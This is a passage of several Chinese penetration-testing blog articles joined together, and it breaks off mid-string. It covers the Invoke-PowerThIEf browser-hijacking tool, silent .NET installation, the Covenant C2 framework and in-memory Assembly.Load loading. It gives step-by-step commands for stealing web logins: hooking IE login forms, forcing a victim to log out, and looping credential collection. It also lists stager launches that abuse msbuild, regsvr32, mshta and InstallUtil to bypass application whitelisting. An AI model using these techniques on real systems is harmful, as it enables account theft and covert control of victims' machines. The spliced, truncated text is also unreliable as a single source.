(4)Dump页面内容

针对所有页面:

Invoke-PowerThIEf -action DumpHTML

针对指定页面:

Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex>

针对指定页面的指定元素:

Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector <type>

Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector <id>

Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector <name>

(5)隐藏和显示页面

隐藏所有页面:

Invoke-PowerThIEf -action HideWindow

隐藏指定页面:

Invoke-PowerThIEf -action HideWindow -BrowserIndex <BrowserIndex>

显示所有页面:

Invoke-PowerThIEf -action ShowWindow

显示指定页面:

Invoke-PowerThIEf -action ShowWindow -BrowserIndex <BrowserIndex>

这里会对页面所在的进程iexploer.exe进行隐藏和显示。

例如:

如果进程iexploer1.exe下有两个页面A和B,进程iexploer2.exe下有两个页面C和D,如果隐藏页面A,那么会隐藏进程iexploer1.exe下的所有页面A和B,而iexploer2.exe下有的两个页面C和D不受影响。

(6)页面重定向

控制页面访问指定的URL。

针对所有页面:

Invoke-PowerThIEf -action Navigate -NavigateUrl <URL>

针对指定页面:

Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>

(7)捕获凭据

这里分为两个步骤:

1.命令执行后,将会Hook所有新打开的页面并记录凭据。

Invoke-PowerThIEf -action HookLoginForms

2.查看已捕获的凭据。

Invoke-PowerThIEf -action Creds

(8)新建页面

Invoke-PowerThIEf -action NewBackgroundTab

0x03 Win7Sp1下的使用方法

这里使用的测试系统为Win7Sp1 x64。

Invoke-PowerThIEf直接在Win7sp1下使用会报错,提示如下:

Unable to find type [System.__ComObject]: make sure that the assembly containin
g this type is loaded.
At C:\test\Invoke-PowerThIEf.ps1:151 char:41
+         [OutputType([System.__ComObject] <<<< )]
    + CategoryInfo          : InvalidOperation: (System.__ComObject:String) []
   , ParentContainsErrorRecordException
    + FullyQualifiedErrorId : TypeNotFound

这里需要安装Microsoft .NET Framework 4.5和Windows Management Framework 4.0。

1.安装Microsoft .NET Framework 4.5

命令行下的安装方法可参考之前的文章《渗透基础——命令行下安装Microsoft .NET Framework》

实现自动安装的代码可参考:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/Install_.Net_Framework_from_the_command_line.cpp

安装后需要等待系统重新启动才能生效。

2.安装Windows Management Framework 4.0

下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=40855

命令行下的安装命令如下:

wusa.exe Windows6.1-KB2819745-x64-MultiPkg.msu /quiet /norestart

安装成功后进程wusa.exe将会自动退出。

同样需要等待系统重启启动才能生效。

再次执行Invoke-PowerThIEf。

报错提示如下:

Add-Type : Could not load file or assembly 'Microsoft.mshtml,
Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one
of its dependencies. The system cannot find the file specified.
At C:\test\Invoke-PowerThIEf.ps1:362 char:13
+             Add-Type -TypeDefinition $source -Language CSharp
-ReferencedAssembl ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
    + CategoryInfo          : NotSpecified: (:) [Add-Type], FileNotFoundExcept
   ion
    + FullyQualifiedErrorId : System.IO.FileNotFoundException,Microsoft.PowerS
   hell.Commands.AddTypeCommand

错误的原因是代码中使用了:using mshtml; ,缺少这个引用文件。

Invoke-PowerThIEf在Server2012R2下能够正常使用,于是我尝试比较Server2012R2和Win7系统的差异,看看能否通过替换文件的方式解决这个问题。

解决方法1

参考资料:

https://www.crifan.com/microsoft_html_object_library_mshtml_tlb_in_com_vs_microsoft_mshtml_microsoft_mshtml_dll_in_dotnet/

在安装VS2015的Server2012R2下尝试导出mshtml.dll,命令如下:

C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\x64\tlbimp.exe C:\Windows\System32\mshtml.tlb /out:c:\test\mshtml.dll

获得mshtml.dll

将mshtml.dll放在Invoke-PowerThIEf的同级目录下,重命名为Microsoft.mshtml.dll

执行后依旧是同样的错误,如下图:

Alt text

该方法失败

解决方法2

经过对比,发现Server2012R2比Win7系统多了文件夹:C:\Windows\assembly\GAC\Microsoft.mshtml

如下图:

Alt text

具体多出以下文件:

C:\Windows\assembly\GAC>tree Microsoft.mshtml /f
Folder PATH listing
Volume serial number is F4B2-E12B
C:\WINDOWS\ASSEMBLY\GAC\MICROSOFT.MSHTML
└───7.0.3300.0__b03f5f7f11d50a3a
        Microsoft.mshtml.dll
        __AssemblyInfo__.ini

注:

C:\Windows\assembly下文件夹的具体内容只能通过命令行进行查看,无法在Explorer中查看。

于是尝试将Server2012R2系统中C:\Windows\assembly\GAC\Microsoft.mshtml的所有内容复制到Win7下面。

我已经将C:\Windows\assembly\GAC\Microsoft.mshtml的所有内容提取出来并上传至github,地址如下:

https://github.com/3gstudent/Invoke-PowerThIEf/tree/master/Microsoft.mshtml

在Win7系统的命令行下执行:

xcopy Microsoft.mshtml C:\Windows\assembly\GAC\Microsoft.mshtml /i /s /e

再次执行Invoke-PowerThIEf,运行成功,如下图:

Alt text

0x04 利用分析

Invoke-PowerThIEf的利用场景主要有以下3个:

1.控制IE浏览器访问指定页面并获得网页内容

(1)创建一个新页面

Invoke-PowerThIEf -action NewBackgroundTab

(2)获得新页面的序号

Invoke-PowerThIEf -action ListUrls

假设这里的序号为132572

(3)将其重定向到指定URL

这里以https://www.shodan.io/为例

Invoke-PowerThIEf -action Navigate -BrowserIndex 132572 -NavigateUrl https://www.shodan.io/

(4)抓取页面结果

Invoke-PowerThIEf -action DumpHTML -BrowserIndex 132572

(5)关闭此页面

Invoke-PowerThIEf -action InvokeJS -BrowserIndex 132572 -Script "window.opener=null;window.open('','_self');window.close();"

补充:重定向到空白页面

Invoke-PowerThIEf -action Navigate -BrowserIndex 132572 -NavigateUrl about:blank

2.抓取凭据

(1)列出所有标签

Invoke-PowerThIEf -action ListUrls

发现后台有shodan的登录页面。

(2)开启抓取凭据的功能

Invoke-PowerThIEf -action HookLoginForms

(3)强制shodan账号退出登录状态

Invoke-PowerThIEf -action InvokeJS -BrowserIndex 525660 -Script "window.location.href = 'https://account.shodan.io/logout';"

等待用户重新登录。

(4)查看抓取到的凭据

Invoke-PowerThIEf -action Creds

这里需要注意,执行完步骤2后不能退出Powershell进程,否则无法抓取到新的凭据。

如果想要自动实现以上功能,这里可以通过加循环的方法实现每隔10秒在后台抓取凭据,使用的Powershell命令如下:

Invoke-PowerThIEf -action HookLoginForms
while(1)
{
    Start-Sleep –s 10
    Write-host "[*] Sleep 10 seconds"
    Invoke-PowerThIEf -action Creds
}

执行脚本:

powershell -ep bypass -f Invoke-PowerThIEf.ps1

3.修改页面内容,执行JavaScript代码

针对所有页面:

Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>

针对指定页面:

Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script <JavaScript to run>

要实现的功能取决于具体的JavaScript代码。

0x05 小结

本文介绍了Invoke-PowerThIEf支持的功能,分享在Win7 sp1 x64下的使用方法,结合自己的经验,分析利用思路。

0x00 前言

在渗透测试中,有些工具的运行(例如高版本的Powershell)需要依赖Microsoft .NET Framework 4.0的环境。 而默认配置下,Win7不支持Microsoft .NET Framework 4.0。为了保证工具能够在Win7下使用,这里就需要在命令行下实现安装Microsoft .NET Framework 4.0。

经过一番搜索,我没有找到介绍命令行下安装Microsoft .NET Framework的资料。

于是我写了这篇文章,介绍我的实现方法,开源C代码,分享实现原理和脚本开发的细节。

0x01 简介

本文将要介绍以下内容:

· Win7下安装Microsoft .NET Framework 4.0的正常方法

· 命令行下的实现方法

· 实现原理

· 脚本开发的细节

0x02 Win7下安装Microsoft .NET Framework 4.0的正常方法

Microsoft .NET Framework的安装包分为两种:

(1)Web Installer

下载地址:

https://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=17851

Web Installer的文件很小,在安装过程中需要Internet连接来下载其他所需的.NET Framework组件

(2)Standalone Installer

下载地址:

https://www.microsoft.com/en-US/Download/confirmation.aspx?id=17718

Standalone Installer的文件相对来说会很大,因为它包括了完整的组件,在安装过程中不需要Internet连接。

这里以Standalone Installer为例,正常的流程如下:

1.下载Standalone Installer

获得文件dotNetFx40_Full_x86_x64.exe。

2.运行dotNetFx40_Full_x86_x64.exe

弹出对话框,选择同意协议后点击Install按钮。

如下图:

01.png

3.等待安装过程

如下图:

02.png

4.安装完成,弹出对话框

如下图:

03.png

点击Finish按钮进入下一步。

5.再次弹出对话框,提示选择是否重启系统

如下图:

04.png

在系统重启后,完成所有安装工作。

0x03 命令行下的实现方法

这里介绍我最开始的思路:

1.我们可以通过向安装程序的面板发送按键消息来模拟用户的点击行为

2.为保证在命令行下安装,需要对弹出的对话框发送隐藏窗口的消息

3.为保证按键准确,这里不应该采用计算坐标的方法模拟鼠标点击,而是枚举窗口获得按钮的句柄,向目标句柄发送鼠标点击的消息

为了验证我的思路,首先需要编写程序查看是否能够获得每个安装页面的按钮句柄。

我写了如下C代码:

#include <afx.h> #include <Windows.h> BOOL CALLBACK EnumChildWindowProc(HWND Child_hWnd, LPARAM lParam) { WCHAR szTitle[1024]; if (Child_hWnd) { GetWindowText(Child_hWnd, szTitle, sizeof(szTitle)); printf("[*] Handle: %08X\n", Child_hWnd); printf("[*] Caption: %ws\n", szTitle); return true; } return false; } int _tmain(int argc, _TCHAR *argv[]) { HWND hWnd3 = FindWindow(NULL, L"Microsoft .NET Framework 4 Setup"); if (hWnd3 == NULL) { printf("[!] I can't find the main window.\n"); return 0; } EnumChildWindows(hWnd3, EnumChildWindowProc, 0); return 0; }

对于第一个安装页面,使用程序来枚举所有子窗口,输出句柄和标题,如下图:

05.png

这里需要注意Install按钮,默认为disable状态,如果想要进入下一步,需要先将Install按钮设置为enable状态,再发送鼠标点击的消息。

在代码实现上加上一个if判断来实现,关键代码如下:

if (wcscmp(szTitle, L"&Install") == 0) { printf("[+] Catch it!\n"); printf("[*] Handle: %08X\n", Child_hWnd); printf("[*] Caption: %ws\n", szTitle); printf("[*] Enable the Install button.\n"); EnableWindow(Child_hWnd, TRUE); printf("[*] Send the click command to &Install.\n"); ::PostMessage(Child_hWnd, WM_LBUTTONDOWN, MK_LBUTTON, MAKELPARAM(0,0)); ::PostMessage(Child_hWnd, WM_LBUTTONUP, MK_LBUTTON, MAKELPARAM(0, 0)); }

完成这一步后我们进入下一步,等待安装结束后进入第二个页面,同样枚举一下所有子窗口,如下图:

06.png

07.png

我们看到,之前页面的子窗口还在,我们需要向Finish按钮发送鼠标点击消息,关键代码如下:

if (wcscmp(szTitle, L"&Finish") == 0) { printf("[+] Catch it!\n"); printf("[*] Handle: %08X\n", Child_hWnd); printf("[*] Caption: %ws\n", szTitle); printf("[*] Send the click command to &Finish.\n"); ::PostMessage(Child_hWnd, WM_LBUTTONDOWN, MK_LBUTTON, MAKELPARAM(0, 0)); ::PostMessage(Child_hWnd, WM_LBUTTONUP, MK_LBUTTON, MAKELPARAM(0, 0)); }

接下来进入最后一步,再一次枚举所有子窗口,如下图:

08.png

我们看到,页面的子窗口被刷新,在程序实现上这里需要重新获得主窗口的句柄,我们向Restart Later按钮发送鼠标点击消息,关键代码如下:

if (wcscmp(szTitle, L"Restart &Later") == 0) { printf("[+] Catch it!\n"); printf("[*] Handle: %08X\n", Child_hWnd); printf("[*] Caption: %ws\n", szTitle); printf("[*] Send the click command to Restart &Later.\n"); ::PostMessage(Child_hWnd, WM_LBUTTONDOWN, MK_LBUTTON, MAKELPARAM(0, 0)); ::PostMessage(Child_hWnd, WM_LBUTTONUP, MK_LBUTTON, MAKELPARAM(0, 0)); }

至此,关键的实现代码已经完成。

而要完整的实现在命令行下安装Microsoft .NET Framework,还需要考虑以下问题;

1.当启动安装程序dotNetFx40_Full_x86_x64.exe前,需要检查安装环境,如果已经存在另一个安装进程,那么会弹框提示冲突

如下图:

09.png

这里需要在启动前做一个判断:如果存在另一个安装进程,就结束安装操作。

2.当启动安装程序dotNetFx40_Full_x86_x64.exe时,会启动子进程Setup.exe,这里没法做到通过设置启动参数隐藏启动进程Setup.exe来隐藏窗口

这里需要加一个循环判断,只要发现主窗口就对其隐藏。

为了避免CPU占用过多,在做while循环时,应该加一个Sleep函数。

3.启动安装程序后需要模拟鼠标点击

需要注意的是,接下来的安装过程中,子窗口Install(名称为&Install)会一直存在,为了避免重复向Install按钮发送点击消息,在实现上我使用了第二个函数来匹配其他按钮。

4.安装完成后,弹出新的窗口提示安装成功,捕获子窗口,向其发送鼠标按键的命令

这里捕获的子窗口名称为&Finish。

5.接下来,弹框提示是否重新启动系统时,需要通过FindWindow()重新获得句柄

这里可以放在第二个函数的同一个循环中,当发现子窗口Restart &Later时,向其发送鼠标按键的命令。

需要注意弹出的窗口为新窗口,不能使用之前的窗口句柄,需要通过FindWindow()重新获得句柄。

完整实现代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/Install_.Net_Framework_from_the_command_line.cpp

代码支持命令行下安装Microsoft .NET Framework 4、Microsoft .NET Framework 4.5和Microsoft .NET Framework 4.5.1

0x04 小结

本文介绍了通过发送鼠标消息在命令行下安装Microsoft .NET Framework的方法,开源C代码,分享实现原理和脚本开发的细节。

0x00 前言

Covenant是一个.NET开发的C2(command and control)框架,使用.NET Core的开发环境,不仅支持Linux,MacOS和Windows,还支持docker容器。

最特别的地方是支持动态编译,能够将输入的C#代码上传至C2 Server,获得编译后的文件并使用Assembly.Load()从内存进行加载。

本文仅在技术研究的角度,介绍Covenant的细节,分析特点。

0x01 简介

本文将要介绍以下内容:

· Covenant的启动方法

· Covenant的功能介绍

· Covenant的优点

· Covenant的检测

0x02 Covenant的启动方法

1.Windows系统

需要装对应版本的.NET Core、ASP.NET Core和SDK。

经测试,Covenant需要.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101,其他版本会报错。

下载地址:

https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer

安装Git for Windows

https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载并启动:

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run

访问https://localhost:7443进入控制面板,第一次使用时需要注册用户。

这里可以注册多个用户,实现团队协作。

注:

Elite是与Covenant服务器进行交互的命令行程序,目前已经临时弃用,地址:

https://github.com/cobbr/Elite

0x03 Covenant的功能介绍

Covenant支持的功能可参考:

https://github.com/cobbr/Covenant/wiki

这里只介绍个人认为比较重要的部分。

1.Listeners

只支持HTTP协议,可以指定url和通信消息的格式。

选择Listeners->Profiles,默认包括两个配置模板,如下图:

1.png

配置模板中可以设置多个HttpUrls,Grunt在回连的时候会从HttpUrls中随机选择。

注:

Grunt用作部署到目标,作为被控制端

HttpRequest和HttpResponse的内容都可以指定。

配置模板对应源码文件的位置: .\Covenant\Covenant\Data\Profiles

2.Launchers

用于启动Grunt,包括以下9种启动方式:

(1)Binary

.NET程序集,格式为exe文件

(2)PowerShell

命令行下通过Powershell启动Grunt

将.NET程序集保存在数组,通过Assembly.Load()在内存进行加载

代码示例:

[Reflection.Assembly]::Load(Data).EntryPoint.Invoke(0,$a.ToArray())

(3)MSBuild

命令行下通过msbuild启动Grunt。

启动命令示例:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe GruntStager.xml

将.NET程序集保存在数组,通过Assembly.Load()在内存进行加载。

代码示例:

System.Reflection.Assembly.Load(oms.ToArray()).EntryPoint.Invoke(0, new object[] { new string[]{ } });

关于msbuild的用法可参考之前的文章《Use MSBuild To Do More》

(4)InstallUtil

命令行下通过InstallUtil启动Grunt。

注:

我在测试的时候这里产生了bug,生成的文件名称为GruntStager.xml,里面保存了base64加密的.NET程序集。

按照我理解的InstallUtil的用法,这里应该生成一个.cs文件。

查看Covenant的源码,生成模板的源码位置:.\Covenant\Covenant\Models\Launchers\InstallUtilLauncher.cs

对应的链接:

https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/InstallUtilLauncher.cs

模板中包括.cs文件的内容,如下图:

22.png

这里可以将CodeTemplate的内容另存为.cs文件,并把其中的"{{GRUNT_IL_BYTE_STRING}}"替换成base64加密的.NET程序集,最终保存成test.cs。

启动命令示例:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out::file.dll test.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

(5)Wmic

启动命令示例:

wmic os get /format:"file.xsl"

注:

Covenant在此处提示这个方法也许无法在Windows 10和Windows Server 2016下使用。

将.NET程序集保存在数组,通过DotNetToJScript的方法在内存进行加载。

代码示例:

var o = delegate.DynamicInvoke(array.ToArray()).CreateInstance('Grunt.GruntStager');

关于Wmic的用法可参考之前的文章《利用wmic调用xsl文件的分析与利用》

(6)Regsvr32

启动命令示例:

regsvr32 /u /s /i:file.sct scrobj.dll

注:

Covenant在此处提示这个方法也许无法在Windows 10和Windows Server 2016下使用。

将.NET程序集保存在数组,通过DotNetToJScript的方法在内存进行加载。

关于Regsvr32的用法可参考之前的文章《Use SCT to Bypass Application Whitelisting Protection》。

(7)Mshta

启动命令示例:

mshta file.hta

注:

Covenant在此处提示这个方法也许无法在Windows 10和Windows Server 2016下使用。

将.NET程序集保存在数组,通过DotNetToJScript的方法在内存进行加载。

关于Mshta的用法可参考之前的文章《渗透技巧——从github下载文件的多种方法》

(8)Cscript

启动命令示例:

cscript file.js

这里借助了DotNetToJScript,其他内容同上。

(9)Wscript

启动命令示例:

wscript file.js

这里借助了DotNetToJScript,其他内容同上。

以上9种启动方式都可选择以下两个模板:

(1)GruntHTTP

使用HTTP协议同C2 server进行通信。

执行后反弹连接至C2 server。

可设置以下参数:

· ValidateCert

· UseCertPinning

· Delay

· JitterPercent

· ConnectAttempts

· KillDate

· DotNetFrameworkVersion

(2)GruntSMB

使用命名管道,不直接同C2 server进行通信,而是在各个Grunts之间进行通信。

执行后在本机创建命名管道,可通过其他的Grunt进行远程连接。

这里多了一个配置参数:

SMBPipeName

使用示例:

GruntSMB为内网使用,可通过其他的Grunt进行激活,激活方式:

Grunt:<id>->Task->Connect

如下图:

33.png

3.Grunts

所有Grunts的列表,可向Grunt发送控制命令。

(1)Info

包括Grunt的基本信息。

(2)Interact

命令行的控制页面。

(3)Task

Grunt支持的功能,内置了多个开源工具:

· Rubeus

· Seatbelt

· SharpDPAPI

· SharpDump

· SharpSploit

· SharpUp

· SharpWMI

(4)Taskings

记录每条命令的执行情况。

4.Templates

Grunt的模板文件,默认包含了GruntHTTP和GruntSMB。

这里可以修改模板文件或者添加新的模板文件。

5.Tasks

Task的模板文件,作为Grunt支持的功能,内置了多个开源工具:

· Rubeus

· Seatbelt

· SharpDPAPI

· SharpDump

· SharpSploit

· SharpUp

· SharpWMI

这里可以修改模板文件或者添加新的模板文件。

6.Taskings

记录所有Grunts的命令执行情况。

7.Graph

图形化页面,展示Grunt和Listener的连接关系。

8.Data

展示从Grunt获得的有价值信息。

9.Users

管理登录用户,用作团队协作。

0x04 Covenant的优点

1.C2 Server支持多平台

C2 Server不仅支持Linux,MacOS和Windows,还支持docker容器。

2.扩展性高

可自定义通信协议,自定义启动方式,自定义功能等。

3.扩展的功能可直接在内存执行

通过动态编译,C2 Server能够对代码进行动态编译后发送至目标并使用Assembly.Load()从内存进行加载。

4.支持内网通信,统一流量出口

在内网各个被控制端之间通过命名管道进行通信,统一流量出口,隐藏通信通道。

5.便于团队协作

支持多用户,能够共享资源。

0x05 Covenant的检测

1.检测.NET程序集的运行

因为需要使用Rosyln C#编译器,所以会引用Microsoft.CodeAnalysis程序集。

这里可以尝试从指定进程中收集.NET事件,参考脚本:

https://gist.github.com/cobbr/1bab9e175ebbc6ff93cc5875c69ecc50

2.检测命名管道的使用

检测命令管道远程连接的流量。

命令管道远程连接会产生Event ID 18的日志,参考地址:

https://github.com/hunters-forge/OSSEM/blob/master/data_dictionaries/windows/sysmon/event-18.md

3.HTTP通信流量

默认的通信模板存在特征,如下图:

44.png

0x06 小结

本文介绍了Covenant的细节,分析特点,Covenant的可扩展性很高,能够很方便的做二次开发。

0x00 前言

在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》介绍了"execute-assembly"的实现方法和利用思路,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽。

与此相似的方法还有一个是Assembly.Load,同样能够从内存中加载.NET程序集。

本文将会结合三个开源工程,介绍Assembly.Load的实现方法,分析利用思路。

0x01 简介

本文将要介绍以下内容:

· 基础知识

· SharpCradle的利用分析

· SharpShell的利用分析

· SharpCompile的利用分析

0x02 基础知识

参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5

1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区别

Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘。

Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。

例如:

Assembly.LoadFrom("a.dll"),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。

Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

例如:

Assembly.LoadFile("a.dll"),如果a.dll中引用了b.dll,那么不会加载b.dll。

2.Assembly.Load()的实现示例

(1)编写测试程序

测试程序的代码如下:

using System;
namespace TestApplication
{
	public class Program
	{
    		public static void Main()
    		{
        		Console.WriteLine("Main");
    		}
	}
	public class aaa
	{
    		public static void bbb()
    		{
        		System.Diagnostics.Process p = new System.Diagnostics.Process();
        		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
        		p.Start();
    		}
	}
}

使用csc.exe进行编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs

生成testcalc.exe。

(2)读取testcalc.exe的内容,并作base64加密

代码如下:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

(3)解密字符串变量,还原testcalc.exe的内容,使用Assembly.Load()加载程序集并调用方法bbb

代码如下:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            string base64str = "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